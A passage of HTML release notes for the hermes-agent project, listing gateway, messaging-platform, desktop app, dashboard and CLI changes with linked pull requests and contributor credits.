<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
